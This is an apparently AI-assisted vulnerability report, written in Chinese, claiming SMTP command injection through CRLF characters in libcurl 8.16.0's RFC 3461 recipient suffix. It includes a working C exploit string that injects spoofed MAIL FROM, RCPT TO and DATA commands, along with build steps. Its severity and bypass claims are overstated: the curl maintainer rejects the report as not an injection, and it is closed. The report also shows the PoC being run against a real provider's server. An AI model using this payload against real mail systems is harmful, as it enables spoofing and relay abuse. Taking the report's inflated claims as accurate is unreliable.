SMTP命令注入漏洞报告 #3387499
执行摘要
libcurl 8.16.0版本在实现RFC 3461投递状态通知(DSN)参数支持时存在严重的SMTP命令注入漏洞(符合CVE质量标准)。该漏洞允许攻击者通过在收件人邮箱地址的后缀部分包含CRLF(\r\n)字符来注入任意SMTP命令。
影响:完整的SMTP命令注入,允许:
- 使用任意发件人地址进行邮件欺骗
- 未授权的邮件中继
- 绕过认证和授权控制
- 潜在的协议级攻击
受影响版本:libcurl 8.16.0(2024年9月10日发布)
组件:lib/smtp.c - RFC 3461后缀处理
CWE:CWE-93(HTTP头中CRLF序列的不当中和)/ CWE-77(命令注入)
漏洞详情
背景
RFC 3461定义了SMTP的投递状态通知(DSN)扩展。这些扩展允许在RCPT TO命令中的收件人邮箱地址后附加参数,例如:
1
|
RCPT TO:<user@example.com> NOTIFY=SUCCESS,FAILURE
|
libcurl 8.16.0添加了对该功能的支持,如RELEASE-NOTES中所述:
smtp: allow suffix behind a mail address for RFC 3461 [127]
漏洞描述
lib/smtp.c中的实现从邮箱地址中提取后缀,但未能验证或清理其中的CRLF字符。漏洞代码路径为:
地址解析(smtp_parse_address,第1876行):
1
2
3
4
5
6
7
|
else {
addressend = strrchr(dup, '>');
if(addressend) {
*addressend = '\0';
*suffix = addressend + 1; // 指向原始字符串!
}
}
|
后缀指针直接指向原始输入字符串中的>字符之后,没有进行验证。
命令形成(smtp_perform_rcpt_to,第885行):
1
2
3
|
if(host.name)
result = Curl_pp_sendf(data, &smtpc->pp, "RCPT TO:<%s@%s>%s",
address, host.name, suffix);
|
后缀被直接插入到SMTP命令中,没有任何CRLF过滤。
命令传输(pingpong.c中的Curl_pp_vsendf):
1
2
3
|
result = curlx_dyn_vaddf(&pp->sendbuf, fmt, args);
// ...
result = curlx_dyn_addn(&pp->sendbuf, "\r\n", 2);
|
格式化的字符串(包含带有嵌入CRLF的未清理后缀)被发送,后跟额外的CRLF。后缀中的任何CRLF字符都将在SMTP协议流中创建新的命令行。
攻击向量
攻击者可以构造一个在后缀中包含恶意SMTP命令的收件人地址:
1
|
"<user@example.com> NOTIFY=SUCCESS\r\nRSET\r\nMAIL FROM:<spoofed@internal.com>\r\nRCPT TO:"
|
当libcurl处理此收件人时,将发送:
1
2
3
4
5
|
RCPT TO:<user@example.com> NOTIFY=SUCCESS
RSET
MAIL FROM:<spoofed@internal.com>
RCPT TO:
[来自Curl_pp_vsendf的原始CRLF]
|
这有效地注入了四个SMTP命令,而原本只应有一个RCPT TO命令。
概念验证
环境设置
构建libcurl 8.16.0:
1
2
3
4
5
|
wget https://curl.se/download/curl-8.16.0.tar.gz
tar -xzf curl-8.16.0.tar.gz
cd curl-8.16.0
./configure --disable-shared --with-openssl --without-libpsl
make -j4
|
设置SMTP调试服务器(Python 3):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#!/usr/bin/env python3
import asyncore
from smtpd import SMTPServer
class DebugSMTPServer(SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
print(f'From: {mailfrom}')
print(f'To: {rcpttos}')
print(f'Data: {data.decode("utf-8", errors="replace")}')
return
server = DebugSMTPServer(('127.0.0.1', 1025), None)
print("SMTP Debug Server on port 1025")
asyncore.loop()
|
保存为smtp_server.py并运行:python3 smtp_server.py &
利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
#include <curl/curl.h>
#include <string.h>
#include <stdio.h>
static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *userp) {
const char *text = "Subject: Legitimate Email\r\n\r\nLegitimate body.\r\n";
static int sent = 0;
if(sent) return 0;
size_t len = strlen(text);
if(len > size * nmemb) len = size * nmemb;
memcpy(ptr, text, len);
sent = 1;
return len;
}
int main(void) {
CURL *curl = curl_easy_init();
struct curl_slist *recipients = NULL;
curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, "<attacker@evil.com>");
/* 漏洞利用:通过RFC 3461后缀注入SMTP命令 */
const char *exploit =
"<victim@example.com> NOTIFY=SUCCESS\r\n"
"RSET\r\n"
"MAIL FROM:<spoofed@internal.com>\r\n"
"RCPT TO:<target@example.com>\r\n"
"DATA\r\n"
"Subject: Injected Email\r\n"
"\r\n"
"This email was sent via SMTP command injection!\r\n"
".\r\n"
"QUIT\r\n";
recipients = curl_slist_append(recipients, exploit);
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
CURLcode res = curl_easy_perform(curl);
printf("Result: %s\n", curl_easy_strerror(res));
curl_slist_free_all(recipients);
curl_easy_cleanup(curl);
return 0;
}
|
编译和执行
1
2
3
4
5
6
|
gcc -o exploit exploit.c \
-I./curl-8.16.0/include \
-L./curl-8.16.0/lib/.libs \
-lcurl -lssl -lcrypto -lz -lpthread
LD_LIBRARY_PATH=./curl-8.16.0/lib/.libs ./exploit
|
预期输出
详细输出将显示:
1
2
3
4
5
6
7
8
9
|
> RCPT TO:<victim@example.com> NOTIFY=SUCCESS
RSET
MAIL FROM:<spoofed@internal.com>
RCPT TO:<target@example.com>
DATA
Subject: Injected Email
This email was sent via SMTP command injection!
.
|
这表明在原本应该只有单个RCPT TO命令的地方发送了多个SMTP命令。
影响评估
严重性:严重(CVSS 3.1:9.1)
攻击向量:网络(AV:N)
- 可通过使用libcurl进行SMTP的应用程序远程利用
攻击复杂度:低(AC:L)
所需权限:无(PR:N)
用户交互:无(UI:N)
范围:已更改(S:C)
影响:
- 机密性:高 - 可拦截或重定向电子邮件
- 完整性:高 - 可使用任意内容欺骗电子邮件
- 可用性:高 - 可滥用邮件服务器进行垃圾邮件/拒绝服务攻击
实际攻击场景
电子邮件欺骗:
- 攻击者注入
RSET\r\nMAIL FROM:<spoofed@internal.com>来欺骗内部电子邮件
- 如果SMTP服务器已授权,可绕过SPF/DKIM
未授权中继:
- 注入收件人地址以将SMTP服务器用作开放中继
- 通过合法基础设施发送垃圾邮件或钓鱼邮件
认证绕过:
- 如果SMTP事务开始时已认证,注入的命令将维持该会话
- 可在没有适当授权的情况下发送电子邮件
电子邮件拦截:
- 注入
RCPT TO:以接收电子邮件的副本
- 可用于商业电子邮件泄露(BEC)攻击
拒绝服务:
- 注入格式错误的命令以使SMTP服务器崩溃或挂起
- 注入
QUIT以过早终止连接
根本原因分析
该漏洞是在8.16.0版本中添加RFC 3461后缀支持时引入的。实现中犯了两个关键错误:
- 无输入验证:后缀从用户控制的输入中提取,没有任何CRLF字符验证
- 直接插入:后缀直接插入到SMTP命令中,没有编码或转义
代码假设后缀仅包含有效的RFC 3461参数(如NOTIFY=SUCCESS),但未强制执行此假设。
推荐修复
必须验证后缀以确保其不包含CRLF字符或其他命令注入序列:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
static bool validate_suffix(const char *suffix) {
/* 后缀不能包含CR或LF */
if(strchr(suffix, '\r') || strchr(suffix, '\n'))
return false;
/* 后缀应仅包含RFC 3461的可打印ASCII */
while(*suffix) {
if(*suffix < 0x20 || *suffix > 0x7E)
return false;
suffix++;
}
return true;
}
|
此验证应在返回前添加到smtp_parse_address中:
1
2
3
4
|
if(*suffix && !validate_suffix(*suffix)) {
free(*address);
return CURLE_URL_MALFORMAT;
}
|
披露时间线
- 2025-10-16:通过代码审计发现漏洞
- 2025-10-16:开发并测试概念验证
- 2025-10-16:公开披露(研究竞赛不适用负责任披露)
参考资料
- libcurl 8.16.0源代码:https://curl.se/download/curl-8.16.0.tar.gz
- RFC 3461:SMTP服务扩展用于投递状态通知(DSN)
- CWE-93:HTTP头中CRLF序列的不当中和
- CWE-77:命令中使用的特殊元素的不当中和
结论
此漏洞代表了libcurl 8.16.0中的一个严重安全缺陷,可被利用进行完整的SMTP命令注入。任何使用libcurl通过用户控制的收件人地址进行SMTP电子邮件传输的应用程序都可能受到攻击。该漏洞易于利用,且无需特殊条件或认证。
libcurl 8.16.0的用户应:
- 避免对收件人地址使用用户控制的输入
- 如果使用SMTP功能,实施自己的CRLF过滤
- 等待curl项目的官方补丁
- 考虑降级到8.15.0或更早版本(缺乏RFC 3461后缀支持)
致谢
本研究建立在[87bg]和[e8sr]中建立的安全分析框架之上。
讨论时间线
bagder(curl工作人员):抱歉,但是谁在注入这个?
spolu-dust:报告已修复。这是使用https://github.com/spolu/srchd进行AI辅助的。
在实际服务器上的复现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
* Established connection to smtp.orange.fr (80.12.26.34 port 25) from 192.168.4.11 port 51024
< 220 opmta1mto10nd1 smtp.orange.fr ESMTP server ready
> EHLO lapichon
< 250-opmta1mto10nd1 hello [86.228.97.110], pleased to meet you
< 250-HELP
< 250-AUTH LOGIN PLAIN
< 250-SIZE 46000000
< 250-ENHANCEDSTATUSCODES
< 250-PIPELINING
< 250-8BITMIME
< 250-STARTTLS
< 250 OK
> MAIL FROM:<attacker@evil.com>
< 550 5.1.0 9UFIv74oXpYNY Authentification requise, Merci de configurer SSL/TLS et votre mot de passe. Authentication Required. OFR203_402 [402]
* MAIL failed: 550
* shutting down connection #0
|
bagder:那是一个没有回答我问题的长答案:谁在注入这个?我看到一个程序使用API,在选项中发送了一些额外的垃圾。这不是注入。
spolu-dust:完整场景:服务A接受用户电子邮件作为登录,并使用libcurl通过其SMTP服务器发送滴灌电子邮件。攻击者在注册时向服务A提交利用电子邮件地址EXPLOIT_ADDRESS。服务A开始向EXPLOIT_ADDRESS发送滴灌电子邮件或注册确认电子邮件,但这样做攻击者获得了服务A与其SMTP服务器之间通道的控制权,控制目标地址、正文等。
bagder:在这种情况下,服务A是接受来自用户的随机未验证输入并直接传递的易受攻击方。我认为应用程序没有遵守API,因此libcurl不保证功能。(您甚至不必使用后缀,您可能可以在电子邮件地址字段本身插入CRLF。)一般来说,libcurl遵循垃圾进垃圾出的原则。您需要确保传入正确的内容,否则它可能不会按您期望的方式工作。
spolu-dust:关闭报告并将状态更改为不适用。鉴于协议特殊对待CRLF,我希望库的参数能够意识到它们作为一个相当重要的安全要求,但这完全由您决定。
bagder:根据项目的透明政策,我们希望所有报告都被披露并公开。